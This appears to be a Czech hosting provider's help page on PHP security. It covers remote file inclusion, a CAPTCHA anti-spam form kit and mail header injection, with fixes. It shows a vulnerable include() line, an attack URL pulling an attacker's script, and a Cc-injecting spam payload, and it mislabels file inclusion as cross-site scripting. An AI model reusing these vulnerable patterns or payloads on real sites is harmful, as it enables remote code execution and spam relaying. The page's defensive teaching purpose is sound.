Zabezpečení skriptů + webového formuláře

Nejvážnější problém mohou představovat includované vzdálené soubory, tzv. cross-site scripting, kdy server vykoná jakýkoliv skript přístupný on-line. Použijeme-li funkci include() bez dostatečného ošetření například takto:
include($_GET["page"].".php.inc")
pak k provedeni útoku stačí nezabezpečenému skriptu předložit vhodně modifikovanou proměnnou $_GET[page]:
http://www.domena.koncovka/main.php?page=http://geocities.com/stranka_utocnika/skript_pouzity_k_utoku.txt?

Před tímto zneužitím lze skript zabezpečit kontrolou všech předáváných vstupů. U redakčních systémů (Joomla, Wordpress) doporučujeme důsledné provádění aktualizací a instalaci komponent pouze z důveryhodných zdrojů.

 

Pro zabezpečení zneužití formulářů k rozesílání spamů (nebo třeba zahlcení návštěvní knihy reklamou) můžete použít následující skript. Do formuláře, kam návštěvník píše svůj vzkaz, přidáme další pole, do kterého se musí opsat kód z obrázku. Obrázek se generuje při každém obnovení stránky/načtení skriptu. Po odeslání dat z formuláře (například pro funkci mail() nebo vložení příspěvku do návštěvní knihy) se porovnává text uložený při generování obrázku do session a text odeslaný formulářem. Pokud text nesouhlasí, nejsou data předána výkonnému skriptu - tzn. email se neodešle nebo příspěvek není vložen.

Potřebné soubory můžete stáhnout zde - archiv zabezpeceni.zip obsahuje tyto soubory:
  • 3 soubory s příponou ttf: to jsou volně šířitelná písma, která můžete využít pro zobrazení textu (lze nahradit jakýmkoliv truetype písmem, ale potom nezapomeňte ve skriptu změnit odkaz) - zde jsou k dispozici FreeMono.ttf (podobné písmu Courier), FreeSans.ttf (podobné písmu Arial) a FreeSerif.ttf (podobný písmu Times Roman)
     
  • formular.php: skript, ve kterém je vygenerován obrázek + kód je uložen do session. Pro generování textu je použit font FreeSerif.ttf
     
  • kontrola.php: skript, který zpracovává data z formuláře (kontroluje, zda souhlasí kód opsaný z obrázku a text uložený do session po vygenerování obrázku).
Do skriptu kontrola.php (může se samozřejmě jmenovat jinak) vložte místo hlášení "Byl vložen správný kód" vlastní výkonnou část Vaší aplikace, která zpracuje další data z formuláře: například sestaví email a odešle ho pomocí funkce mail().

Doplnění:

V php skriptech se vždy musí kontrolovat vše co se vkláda zvenku do hlavičky mailu From a Reply-To, jinak je značné riziko jejich zneužití k rozesílání spamu. Použijeme-li funkci mail() bez ošetření například takto:
mail(to, subject, message, Reply-To: $_POST["from"])
pak spammer v proměnné $_POST["from"] pošle celý spam i s adresami dalších příjemců:
%0ACc: prijemce@domena.tld,... \n\nText tela spamu

Skripty proti podobnému zneužití ochráníte například oříznutím znaků za zalomením řádku a nahrazením speciálních znaků za html entity.